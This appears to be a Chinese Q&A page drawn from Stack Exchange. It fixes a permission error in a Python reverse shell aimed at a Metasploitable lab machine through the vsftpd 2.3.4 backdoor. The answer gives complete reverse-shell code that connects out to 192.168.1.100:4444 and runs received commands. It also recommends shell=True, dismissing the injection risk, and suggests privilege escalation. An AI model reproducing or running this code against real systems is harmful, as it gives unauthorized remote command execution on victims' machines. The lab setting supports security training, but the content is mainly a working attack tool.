Python反向Shell遇OSError: [Errno 13]权限拒绝问题求助
解决Python反向Shell权限拒绝问题
问题原因分析
报错OSError: [Errno 13] Permission denied并非脚本本身权限问题(你已设置777权限),核心原因可能是以下几种:
- 命令解析错误:用
split(" ")拆分命令会将多空格拆分为空字符串,导致subprocess调用无效命令 - 目标命令无执行权限:当前会话用户没有执行指定命令的权限
- shell环境限制:Metasploitable系统的AppArmor/SELinux规则限制(概率较低)
具体解决步骤
1. 确认当前用户权限
先在会话中执行whoami,确认是否为root用户(vsftpd 2.3.4后门理论上默认返回root,但不排除特殊配置)。若不是root,尝试提权操作。
2. 修复命令解析逻辑
Python2.5中command.split(" ")存在解析缺陷,改用shlex.split()正确处理带空格的命令,示例代码:
import socket import subprocess import shlex # 替换为你的监听IP和端口 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.100", 4444)) while True: cmd = s.recv(1024).strip() if not cmd: break # 用shlex.split替代split(" "),避免命令拆分错误 proc = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE, stderr=subprocess.PIPE) output = proc.stdout.read() + proc.stderr.read() s.send(output) s.close()
3. 改用shell=True参数
若不想手动处理命令解析,直接让shell接管命令执行逻辑,修改Popen调用:
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
注:此方式需确保命令来源安全,避免注入风险,但反向Shell场景下通常无需顾虑。
4. 验证目标命令权限
比如你要执行bash,先在目标系统执行ls -l /bin/bash,确认其具备执行权限(通常为-rwxr-xr-x)。若权限不足,尝试替换为其他可执行命令(如/bin/sh)。
内容的提问来源于stack exchange,提问作者user22268653
相关产品推荐
相关产品推荐

